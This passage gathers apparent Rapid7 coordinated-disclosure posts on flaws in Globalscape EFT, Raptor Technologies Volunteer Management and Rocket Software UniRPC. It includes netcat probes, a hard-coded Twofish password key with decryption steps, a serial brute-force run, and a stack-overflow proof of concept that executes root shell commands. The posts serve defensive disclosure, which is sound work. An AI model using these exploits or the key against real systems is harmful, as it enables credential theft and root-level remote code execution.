0a 000000a7`cb584670 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0b 000000a7`cb584740 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
......

While the exploit itself is interesting from a development and mathematics perspective, this is ultimately a denial of service, and has no possibility of code execution or other security consequences.

CVE-2023-2991—Hard Drive Serial Number Disclosure

The hard drive serial number of the server hosting a Globalscape EFT instance can be derived by requesting a TER ("trial extension request") identifier. Presumably, this is an identifier used for uniquely identifying licensed hosts. As of this disclosure, this issue is not fixed, but is also minor enough to disclose (The vendor has disclosed it as a KB here). We developed a proof of concept that you can download here.

If we send a blank (header-only) message of type 0x138 to the administration port, it returns a lightly obfuscated base64 string in a field called HASH, and that is internally called a "TER":

$ echo -ne '\x08\x00\x00\x00\x38\x01\x00\x00' | nc 172.16.166.170 1100 | hexdump -C
[...]
00000020  [...]                                84 00 00 00  |            ....|
00000030  38 01 00 00 48 41 53 48  04 00 00 00 32 00 00 00  |8...HASH....2...|
00000040  2b 00 6b 00 34 00 56 00  47 00 30 00 41 00 54 00  |+.k.4.V.G.0.A.T.|
00000050  35 00 43 00 55 00 30 00  34 00 42 00 44 00 36 00  |5.C.U.0.4.B.D.6.|
00000060  30 00 5a 00 57 00 35 00  76 00 6d 00 30 00 47 00  |0.Z.W.5.v.m.0.G.|
00000070  4d 00 34 00 43 00 4a 00  57 00 70 00 6d 00 65 00  |M.4.C.J.W.p.m.e.|
00000080  4c 00 53 00 2f 00 51 00  38 00 46 00 46 00 69 00  |L.S./.Q.8.F.F.i.|
00000090  30 00 6a 00 50 00 50 00  34 00 43 00 74 00 78 00  |0.j.P.P.4.C.t.x.|
000000a0  67 00 3d 00 45 52 52 52  01 00 00 00 00 00 00 00  |g.=.ERRR........|

The actual string from the HASH field is +k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=, which does not correctly decode as base64:

$ echo -ne '+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=' | base64 -d
�N�%4��ѕ��m3��Z��-/��Qb�3��+qbase64: invalid input

We reverse engineered the function that generates that value, and determined that six characters—0, 8, 0, 0, 0, and 0—are inserted into the base64 string at the offsets 14, 33, 5, 38, 21, and 11, in that order (presumably as obfuscation). We can undo that process by removing those six characters in the opposite order, which leaves us with the new base64 string +k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=. That fixed string does successfully decode as base64, into a 256-bit string:

$ echo -ne '+k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=' | base64 -d | hexdump -C
00000000  fa 4e 15 18 04 f9 09 4e  01 0f a6 56 e6 f9 86 33  |.N.....N...V...3|                                                     
00000010  80 89 5a 99 9e 2d 2f d0  14 58 a3 3c fe 02 b7 18  |..Z..-/..X.<....|  

That string is the SHA256 of the hard drive's serial number. On my server, the serial number is 418934929, which means we can calculate the SHA256 digest ourselves and validate that it matches the string the server returned:

$ echo -ne '418934929' | sha256sum
fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718  -

Since the space of possible serial numbers is small, exhaustively brute forcing that integer value is possible in only a few minutes, even on a laptop:

$ time ruby ./request-hdd-serial.rb
Sending: ["0800000038010000"]                                                                                                      
Received TER:                                                                                                                      
{:length=>132,                                                                                                                     
 :msgid=>312,                                                                                                                      
 :args=>                                     
  {"HASH"=>                                  
    {:type=>:string,
     :length=>50,
     :data=>"+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg="},
   "ERRR"=>{:type=>:int, :value=>0}}}
SHA256 of serial = fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718

Trying 0...
Trying 1048576...
Trying 2097152...
Trying 3145728...
Trying 4194304...
[...]
Trying 417333248...
Trying 418381824...
Found the serial: 418934929

________________________________________________________
Executed in  431.80 secs    fish           external
   usr time  426.37 secs    0.00 micros  426.37 secs
   sys time    0.07 secs  864.00 micros    0.07 secs

Plaintext-Equivalent Passwords in Network Traffic

By default, the remote administration server does not use SSL. We determined that, while the password transmitted on the wire is encrypted, the encryption key is hard-coded and users' passwords can be recovered from a packet capture. We developed a tool that will do just that. Although we opted not to assign a CVE to this issue, the vendor has updated the default SSL setting in future versions and has published an advisory.

As noted above, administrators can run local Windows commands, which means that a packet capture essentially leads to remote code execution, unless the administrator enables SSL.

Here is an example of a login message that contains an encrypted password:

00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |...@d.....x...JW|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

It contains three fields: PSWD (password), ADLN (username), and AMID (login type). In our case, we're only concerned with the encrypted password field (PSWD), which has the value:

\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b

Passwords are encrypted using the Twofish algorithm with a static key (tfgry\0\0\0\0\0\0\0\0\0\0\0) and blank IV. That means that passwords can be fully decrypted off the wire (although casual observers might believe that the encryption has some value). Here's a demonstration of decrypting that password using the interactive Ruby shell (irb) and the twofish gem:

$ gem install twofish
[...]
$ irb

3.0.2 :001 > require 'twofish'
 => true

3.0.2 :002 > tf = Twofish.new("tfgry\0\0\0\0\0\0\0\0\0\0\0", :padding => :zero_byte, :mode => :cbc)
 => #<Twofish:0x0000000002b23340 [...]>

3.0.2 :003 > tf.iv = "\0" * 16
 => "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" 

3.0.2 :004 > puts (tf.decrypt("\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b") + "\0").force_encoding("UTF-16LE").encode("ASCII-8BIT")
Password1!

We use force_encoding() and encode to convert from UTF-16 to ASCII.

To demonstrate the impact, we wrote a tool that'll decrypt passwords from a PCAP file:

$ ruby recover-pw.rb all-login-types.pcapng
Found login: ron / MyWindowsPassword (type = "Windows authentication")
Found login: ron / Password1! (type = "Windows authentication")
Found login: ron / testtest (type = "EFT Authentication")
Found login: ron / Password1! (type = "EFT Authentication")
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["400000004e544c4d535350000100000007b208a209000900370000000f000f00280000000a007c4f0000000f57494e2d5056394f48313349495542574f524b47524f5550"]
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["580000004e544c4d535350000300000000000000580000000000000058000000000000005800000000000000580000000000000058000000000000005800000005c288a20a007c4f0000000fc336e05c920cada6821fe04d5709b868"]

Note that NTLM logins use the literal password ********, but also include an additional NTLMSSP blob containing the actual authentication details.

Remediation

These issues are fixed in Fortra Globalscape version 8.1.0.16. We don't believe these require emergency patches, but since the ultimate consequence is remote code execution, they should be patched in the next planned patch cycle.

Timeline

  • April 2023 - Rapid7 begins researching Globalscape EFT
  • May 10, 2023: Rapid7 reports issues to vendor
  • May 10, 2023: Vendor acknowledgement
  • May 24, 2023: Vendor confirmed the issues
  • May 26, 2023: Rapid7 reserves CVEs
  • May 26 - June 1, 2023: Vendor and Rapid7 clarify additional details
  • June 13, 2023: Rapid7 asks for an update from vendor on patch ETA, proposes July 11 as coordinated disclosure date. Because of a minor misunderstanding, Rapid7 discovers vendor has already released fixes and KBs. Vendor volunteers to pull KBs offline while Rapid7 prepares our own disclosure. Initially, Rapid7 agrees to this.
  • June 14, 2023: Rapid7 asks vendor to republish their KBs in the interest of transparency and effective risk assessment while Rapid7 prepares this disclosure
  • June 20, 2023 - Vendor informs Rapid7 their KBs have been re-published
  • June 22, 2023 - Rapid7 releases this disclosure blog
Raptor Technologies Volunteer Management Client-Side Security Controls (FIXED)

Prior to Mar 18, 2023, due to a reliance on client-side controls, authorized users of Raptor Technologies Volunteer Management SaaS products could effectively enumerate authorized users, and could modify restricted and unrestricted fields in the accounts of other users associated with the same Raptor Technologies customer.  

Product description

Raptor Technologies Volunteer Management for Schools product is used by school districts to authenticate pre-approved volunteers, and print badges for the volunteers to use for entry to the school.  

Each volunteer has an account in the Raptor Technologies system, and the account contains information about the volunteer, a photo which matches the volunteer’s photo ID,  details of what buildings access is allowed to, and for what activities.  This account is set up and populated by school officials after a potential volunteer submits an online application for access.

Credit

This issue was discovered by Tony Porterfield, Principal Cloud Solutions Architect at Rapid7, while using the application as an end-user.  It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Prior to the fix deployed by Raptor Technologies on March 18, 2023,  lack of server-side authorization checks allowed an authenticated user to edit restricted fields in the user’s own account and other users’ accounts.  There are client-side controls in place to prevent these accesses, but there were gaps in the server-side checking that allowed crafted API requests to make these changes to user records.

There is a PersonID field in the profile update request payload, and it was possible to modify another user’s account by using a PersonID field that did not match that of the authenticated user.   The PersonID is observed to be a relatively short decimal number that may have been prone to enumeration.  The Community feature provides a list of all users with access to the same schools who have agreed to have their contact information shared.  The user list returned by the server contains the PersonID for each user listed, which would have allowed an adversary to make targeted changes to specific user accounts within the community.  

An example of a user’s profile page is shown below. The areas highlighted in yellow contain identity and access information sourced from the application submitted by the user. Controls in the browser client prevent a user from editing these fields when updating the profile.

Raptor Technologies Volunteer Management Client-Side Security Controls (FIXED)

When the Save button is clicked, a POST to
apps.raptortech.com/Portal/Profile/Save

Is initiated, with a payload of content type:
Content-Type: application/x-www-form-urlencoded

The payload includes all of the fields visible on the page (along with some that are not). The fields in this POST request’s payload are listed below, with personal information redacted.

Person.ImageName=<redacted>&
Person.PersonId=<redacted>&
Person.PersonaType=<redacted>&
Person.RequireDateOfBirth=True&
Person.RequireIdNumber=False&
Person.IdNumber_Short=<redacted>&
Scope=Client&
Person.IsOfficial=True&
Person.FirstName=<redacted>
Person.MiddleName=<redacted>&
Person.LastName=<redacted>&
Person.DateOfBirth=<redacted>&
Person.IdType=<redacted>DLID
&Person.IdNumber=<redacted>&
MaidenName=&
Gender=Male
Race=Unspecified&
ExpirationDate=<redacted>&
HoursResetDate=<redacted>&
ModifyBuildingsEnabled=False&
Email=<redacted>&
Buildings[0]=<redacted>
Functions[0]=<redacted>&
AffiliationId=<redacted>&
ProfileId=<redacted>&
Person.RequireIdType=False&
Address.Id=<redacted>
&Address.IsRequired=False&
Address.IsInternationalCountry=False&
Address.IsRequiredAndIsNotInternationalCountry=False&
Address.Line1=<redacted>&
Address.Line2=&
Address.Line3=&
Address.City=<redacted>&
Address.State=<redacted>&
Address.ZipCode=<redacted>&
Address.Country=US&
PrimaryPhone=<redacted>&
SecondPhone=&
ThirdPhone=&
PreferredLanguage=0

Impact

Updating Restricted Fields: Fields that the client prevents from modifying could be changed in the apps.raptortech.com/Portal/Profile/Save body, with the results persisting in the user’s profile. Thus, it was possible to modify restricted fields related to the user’s identity by manipulating this request’s payload.

Updating other users’ information: The payload of the Portal/Profile/Save request includes a field for the Person.PersonID. It was possible to modify the profile of another user associated with the same Raptor Technologies customer by entering the other user’s Person.PersonID in the payload of the request.

Community feature discloses PersonIDs: The ‘Community’ feature presents a list of other members of the user’s community, who have opted in to sharing their information. The browser interface only displays the users’ names and contact information. However, the list of information returned by the server for the
apps.raptortech.com/Portal/Community/gvVolunteerContactInformation_Read
endpoint includes each community member’s PersonID. Prior to the fix, this information disclosure could be combined with the lack of server-side authorization checks to make targeted changes to the accounts of other community members.

The fields included for each user in the response are listed below for reference:

{
    "$id": "2",
    "PersonId": <6 or 7 digits>,
    "ProfileId": <5 digits>,
    "FirstName": "<redacted>",
    "LastName": "<redacted>",
    "PrimaryPhone": "<redacted>",
    "SecondPhone": "",
    "Email": "<redacted>",
    "AllowToContact": true,
    "PreventFromBeingContacted": false,
    "PrimaryPhoneDisplay": "<redacted>",
    "SecondPhoneDisplay": ""
}

Remediation

On March 18, 2023, Raptor Technologies deployed an update to its Volunteer Management application to address this issue.

Since this is a SaaS / cloud-hosted solution, end users, implementers and integrators should not need to do anything to update or patch to address the issue.

Disclosure Timeline

January, 2023: Issues discovered by Tony Porterfield of Rapid7
Tue, Jan 10, 2023: First contact to the vendor, opened ticket #00711217
Mon, Jan 30, 2023: Case opened with CERT/CC, VRF#23-01-NGZBZ
Fri, Feb 17, 2023: CERT/CC VINCE case VU#679276 opened
Fri, Mar 3, 2023: Report acknowledged by the vendor, clarifications provided
Wed, Mar 8, 2023: Details discussed with the vendor, extended disclosure time by approximately 30 days
Sat, Mar 18, 2023: Fixes deployed
Tue, Apr 11, 2023: This disclosure

Multiple Vulnerabilities in Rocket Software UniRPC server (Fixed)

In early 2023, Rapid7 discovered several vulnerabilities in Rocket Software's UniData and UniVerse UniRPC server (and related services) running on the Linux platform. Rapid7 worked with Rocket Software to fix the issues and coordinate this disclosure.

This disclosure will detail a number of different vulnerabilities, including:

  • CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd service
  • CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server service
  • CVE-2023-28503: Authentication bypass in libunidata.so's do_log_on_user() function
  • CVE-2023-28504: Pre-authentication stack buffer overflow in libunidata.so's U_rep_rpc_server_submain()
  • CVE-2023-28505: Post-authentication buffer overflow in libunidata.so's U_get_string_value() function
  • CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave executable
  • CVE-2023-28507: Pre-authentication memory exhaustion in LZ4 decompression in unirpcd service
  • CVE-2023-28508: Post-authentication heap overflow in udsub service
  • CVE-2023-28509: Weak encryption

Note that all of the post-authentication vulnerabilities are exploitable without authenticating due to the authentication bypass documented as CVE-2023-28503, which means all of these are effectively pre-authentication until CVE-2023-28503 is remediated.

Rapid7 initially reported these vulnerabilities to Rocket Software on January 24, 2023. Since then, members of our research team have worked with the vendor to discuss impact, resolution, and a coordinated response.

Patches are available to Rocket Software customers, and should be installed as quickly as possible. Rocket Software strongly advises their UniData and UniVerse customers to upgrade to hotfix version 8.2.4.3003, available on Rocket Business Connect.

Product description

We discovered these vulnerabilities while testing UniData for Linux version 8.2.4 (build 3001). The RPC server and some of these services are shared by the UniVerse software stack as well. The vendor confirmed that the following versions are affected:

  • UniData 8.2.4 (and earlier) - patched in 8.2.4 build 3003
  • UniVerse 11.3.5 (and earlier) - patched in 11.3.5 build 1001
  • UniVerse 12.2.1 (and earlier) - patched in 12.2.1 build 2002

We verified that these issues do not affect the Windows version, as the networking stack appears to be different.

Impact

Due to the nature of the applications, we believe that widespread exploitation of these issues is unlikely; these services tend to be found on the back end, and are rarely internet-facing. That being said, the software stack is commonly used by large organizations to store and manage data, so it's possible that these vulnerabilities will be exploited by attackers who have already gained unauthorized access to an organization's network in another way.

Credit

These vulnerabilities were discovered and documented by Ron Bowes, Lead Security Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

Rocket Software is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Exploitation

We tested the UniRPC network service, which is installed as part of the UniData software package. UniRPC typically listens on TCP port 31438, and runs as root. We tested everything with a default installation (i.e., no special configuration). We created a library called libneptune that implements the protocol, and includes a proof of concept for each issue below. Most proofs of concept will crash the service while reading or executing an illegal memory address, but we created two full Metasploit modules as well, so organizations can more easily evaluate their own risk.

A note on testing

We made a small change to unirpcd for testing, which disables the fork call, which means it only handles a single connection then terminates. That makes debugging much easier, since you don't have to deal with multiple forked processes. We called it unirpcd-oneshot, and will use it for most of our examples. The changes are only a couple bytes, which you can change with a hex editor:

[ron@unidata bin]$ diff -ru0 <(hexdump -C unirpcd) <(hexdump -C unirpcd-oneshot)
--- unirpcd	2023-01-17 13:09:45.511592523 -0500
+++ unirpcd-oneshot	2023-01-17 13:09:45.511592523 -0500
@@ -1075 +1075 @@
-00004320  ec ff ff e8 f8 eb ff ff  83 f8 ff 41 89 c6 0f 84  |...........A....|
+00004320  ec ff ff 48 31 c0 90 90  83 f8 ff 41 89 c6 0f 84  |...H1......A....|

Note that this doesn't change how the exploits work at all, it only simplifies testing and demonstration (by not spawning new processes for each connection).

UniRPC Server overview

When UniData is installed, it comes with a service called unirpcd, which is an RPC daemon. The RPC daemon accepts connections, forks new processes, and processes messages sent by the client using a custom binary protocol that we implemented as part of libneptune.

After connecting, a client sends a message to UniRPC that selects which back-end service to execute. The list of available services will probably vary by the application package (we only tested UniData), but they are listed in a file called unirpcservices. The unirpcservices file lists the service names and executables and has options for IP restrictions, protocols, timeouts, and other details:

# cat ~/unidata/unishared/unirpc/unirpcservices 
udcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
defcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
udadmin /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udadmin82 /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udserver /home/ron/unidata/unidata/bin/udsrvd * TCP/IP 0 3600
unirep82 /home/ron/unidata/unidata/bin/udsub * TCP/IP 0 3600
rmconn82 /home/ron/unidata/unidata/bin/repconn * TCP/IP 0 3600
uddaps /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600

We tested each of those services, as well as the unirpcd daemon itself. A library — libunidata.so — is shared by all the services. Our results are detailed below.

CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd's packet receive

We discovered a pre-authentication heap overflow issue due to an integer overflow in the UniRPC daemon itself (unirpcd) when receiving the body of an RPC packet in the uvrpc_read_message() function. Successful exploitation can corrupt the heap's data and metadata, and is likely to lead to remote code execution as the root user. Because this is in the RPC daemon itself, it can affect any software package that includes this version of the daemon, irrespective of which RPC services are included.

We wrote a proof of concept to demonstrate this issue in unirpc_heapoverflow_read_body.rb. For the purposes of demonstration, we trick the server into attempting to read from the memory address 0x4141414141414141, which crashes the process. Here is how we ran unirpcd-oneshot in gdb:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=4039 - 13:12:07 - uvrpc_debugflag=9 (Debugging level)
RPCPID=4039 - 13:12:07 - portno=12345
RPCPID=4039 - 13:12:07 - res->ai_family=10, ai_socktype=1, ai_protocol=6

Then we run the proof-of-concept tool in another window, and see the following in the debugger:

RPCPID=4039 - 13:13:45 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=4039 - 13:13:45 - accept: forking
RPCPID=4039 - 13:13:45 - in accept read_packet returns 13c6a
Program received signal SIGSEGV, Segmentation fault.
_dl_fini () at dl-fini.c:194
194		if (l == l->l_real)

Here's the stack trace, which shows that it crashes in __run_exit_handlers():

(gdb) bt
#0  _dl_fini () at dl-fini.c:194
#1  0x00007ffff5c2ece9 in __run_exit_handlers (status=1, listp=0x7ffff5fbc6c8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true) at exit.c:77
#2  0x00007ffff5c2ed37 in __GI_exit (status=<optimized out>) at exit.c:99
#3  0x0000000000404479 in accept_connection ()
#4  0x0000000000403bd9 in main ()

We can verify that it crashes while trying to read the memory address 0x4141414141414141 by checking the instruction it crashed on:

(gdb) x/i $rip
=> 0x7ffff7deafc9 <_dl_fini+313>:	cmp    QWORD PTR [rcx+0x28],rcx

(gdb) print/x $rcx
$1 = 0x4141414141414141

To understand this issue, we have to look at the UniRPC packet header fields (we don't have the official names of this structure, so these are our best guesses):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

The body length argument is a 32-bit signed integer, and must be positive (ie, 0x7FFFFFFF and below). The following code from unirpcd enforces that length restriction:

.text:0000000000407580 41 8B 47 04         mov     eax, [r15+4]    ; Read the 32-bit "size" field from the header into eax
.text:0000000000407584 89 C7               mov     edi, eax
.text:0000000000407586 89 44 24 08         mov     dword ptr [rsp+88h+len], eax ; Save the length to the stack
.text:000000000040758A B8 70 3C 01 00      mov     eax, UNIRPC_ERROR_BAD_RPC_PARAMETER
.text:000000000040758F 85 FF               test    edi, edi
.text:0000000000407591 0F 8E B0 FE FF FF   jle     return_eax      ; Fail if the length is negative

In that code, the body length is read into the eax register, then validated to ensure it's not negative — the jle opcode jumps if it's less than or equal to zero. If it's negative, it returns the error that we called UNIRPC_ERROR_BAD_RPC_PARAMETER.

A bit later, the following code executes:

.text:000000000040761A 8B 44 24 08         mov     eax, dword ptr [rsp+88h+len] ; Read the 'size' back into eax
.text:000000000040761E 83 C0 17            add     eax, 17h        ; Add 0x17 (23) to the length - this can overflow and go negative!
.text:0000000000407621 3B 05 35 27 24 00   cmp     eax, cs:uvrpc_readbufsiz ; Compare to the size of uvrpc_readbufsiz (0x2018 by default)
.text:0000000000407627 0F 8D 3F 02 00 00   jge     expand_read_buf_size ; Jump if we need to expand the buffer

In that snippet, the server adds 0x17 (23) to the length value from earlier and compares it against the global variable uvrpc_readbufsiz, which is 0x2018 (8216) by default. If the length is less than 0x2018, no additional memory is allocated for the buffer. If we chose a very large (but positive) value such as 0x7FFFFFFF, adding 0x17 to it will overflow the integer and the resulting value (0x80000016) is negative (in two's complement, 32-bit values from 0x80000000 to 0xFFFFFFFF are negative). Because a negative value is technically below 0x2018, no additional memory is allocated and the 0x2018-byte buffer is used as-is.

Finally, this code runs to receive the body of the RPC message:

.text:0000000000407631 44 8B 74 24 08     mov     r14d, dword ptr [rsp+88h+len] ; Read the length from the stack
[...]
.text:000000000040768F 44 89 F1           mov     ecx, r14d       ; max_length = len
.text:0000000000407692 E8 09 E6 FF FF     call    uvrpc_readn     ; Receive up to `max_length`

If we put a breakpoint on recv and execute the proof of concept, we can see the recv function trying to receive way too much data into a buffer:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

(gdb) b recv
Breakpoint 1 at 0x402a40

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=78590 - 18:19:56 - uvrpc_debugflag=9 (Debugging level)
RPCPID=78590 - 18:19:56 - portno=12345
RPCPID=78590 - 18:19:56 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[... run the proof-of-concept script here ...]

RPCPID=78590 - 18:19:58 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=78590 - 18:19:58 - accept: forking

Breakpoint 1, __libc_recv (fd=8, buf=0x67d330, n=8216, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont
Continuing.

Breakpoint 1, __libc_recv (fd=8, buf=0x67f348, n=2147475455, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont

The n argument to __libc_recv is the important part of that snippet. The first time, it tries to receive up to 8216 bytes (that's 0x2018 — the default buffer size). The second time, it attempts to read 2,147,475,455 (0x7FFFDFFF) bytes into a much smaller buffer. recv() will read as much data from the socket as it can, then return; that means that we can overflow the heap buffer exactly as much as we want to, there's no need to send all 0x7FFFDFFF bytes.

This can overwrite other values on the heap, as well as heap metadata, which might lead to remote code execution. While our proof of concept stops short of remote code execution, we believe that this is very likely to be exploitable.

CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server (username and password fields)

We discovered a pair of pre-authentication stack-based buffer overflows in the udadmin_server RPC service (accessed via the service name udadmin or udadmin82), which is exploitable to obtain unauthenticated remote code execution as the root user.

When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After receiving that message and validating that the opcode is correct, the service copies the username into a buffer using a strcpy-like function with no bounds checks (u2strcpy), then copies the password into another buffer using the same dangerous function. The password is then decoded using a function called rpcDecrypt().

Based on the compiled executable, the vulnerable code appears to be in the main function in the source file udadmin.c on lines 803 and 805. Here's the code where the username is copied into a stack buffer:

.text:0000000000408AAC BF 01 00 00 00   mov     edi, 1          ; Argument index (1 = second argument = username)
.text:0000000000408AB1 E8 AA 41 00 00   call    getStringVal    ; Gets a pointer to the string value
.text:0000000000408AB6 48 85 C0         test    rax, rax
.text:0000000000408AB9 49 89 C4         mov     r12, rax        ; <-- r12 = username

[...]

.text:0000000000409098 4C 8D AC 24 30+  lea     r13, [rsp+428h+var_2F8] ; r13 = ptr to stack buffer
.text:0000000000409098 01 00 00
.text:00000000004090A0 48 8D 15 D0 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090A0 02 00
.text:00000000004090A7 B9 23 03 00 00   mov     ecx, 323h       ; line = 803
.text:00000000004090AC 4C 89 E6         mov     rsi, r12        ; src = username
.text:00000000004090AF 4C 89 EF         mov     rdi, r13        ; dest = r13 = stack buffer
.text:00000000004090B2 E8 39 F1 FF FF   call    _u2strcpy       ; Stack overflow #1

That's shortly followed by this code, where the password is copied into a stack buffer:

.text:00000000004090E0 BF 02 00 00 00   mov     edi, 2          ; Argument index (2 = second argument = password)

[...]

.text:00000000004090E7 4C 8D A4 24 70+  lea     r12, [rsp+428h+var_2B8] ; r12 = ptr stack buffer
.text:00000000004090E7 01 00 00
.text:00000000004090EF E8 6C 3B 00 00   call    getStringVal    ; Read the password

.text:00000000004090F4 48 8D 15 7C 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090F4 02 00
.text:00000000004090FB B9 25 03 00 00   mov     ecx, 325h       ; line = 805
.text:0000000000409100 48 89 C6         mov     rsi, rax        ; src = password
.text:0000000000409103 4C 89 E7         mov     rdi, r12        ; dest = r12 = stack buffer
.text:0000000000409106 E8 E5 F0 FF FF   call    _u2strcpy       ; <-- Stack overflow #2

The password has an additional twist, because it's encoded; the rpcEncrypt function decodes it:

.text:0000000000408B37 4C 89 E7         mov     rdi, r12        ; rdi = password
.text:0000000000408B3A E8 F1 41 00 00   call    rpcEncrypt      ; "Decode" the password by inverting bytes

Functionally, rpcEncrypt negates every byte in the password (binary 0 bits become 1, and 1 bits become 0).

Typically, strcpy()-based overflows are more difficult to exploit, because NUL (\0) bytes terminate strings. That means that including a 64-bit memory address or a ROP chain will fail, because all user-mode addresses are guaranteed to contain NUL bytes, which truncate the resulting string. However, because all bytes in the password string are negated after the strcpy() (using the rpcEncrypt() function), we CAN include NUL bytes. This behavior actually makes it much easier to exploit than it'd otherwise be, since now we only have to avoid bytes that are NUL bytes after negation (ie, 0xFF bytes).

We wrote a proof of concept for this issue that will execute an arbitrary shell command by returning into code that calls the system() function. For example, we can run a shell command that creates a file:

$ ruby ./udadmin_stackoverflow_password.rb 10.0.0.198 31438 'kill -TERM $PPID & touch /tmp/stackoverflowtest'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
{:header=>
  "l\x01\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>0, :extra=>1}]}

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>"test"},
   {:type=>:string,
    :value=>
     "\xBE\xBE[......]\xBE\xBE\xDA\xD1\xBE\xFF\xFF\xFF\xFF\xFF\x94\x96\x93\x93\xDF\xD2\xAB\xBA\xAD\xB2\xDF\xDB\xAF\xAF\xB6\xBB\xDF\xD9\xDF\x8B\x90\x8A\x9C\x97\xDF\xD0\x8B\x92\x8F\xD0\x8C\x8B\x9E\x9C\x94\x90\x89\x9A\x8D\x99\x93\x90\x88\x8B\x9A\x8C\x8B"}]}

Response:
{:header=>
  "l\x01\x00\x02\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>80011, :extra=>4}]}

Payload sent

Then we can verify that the file exists on the target (and is owned by root) to prove that the exploit ran:

[ron@unidata ~]$ ls -l /tmp/stackoverflowtest 
-rw-r--r--. 1 root root 0 Jan 17 14:00 /tmp/stackoverflowtest

We also wrote a Metasploit module to help organizations validate the impact of this issue.

CVE-2023-28503: Authentication bypass in libunirpc.so's do_log_on_user() function

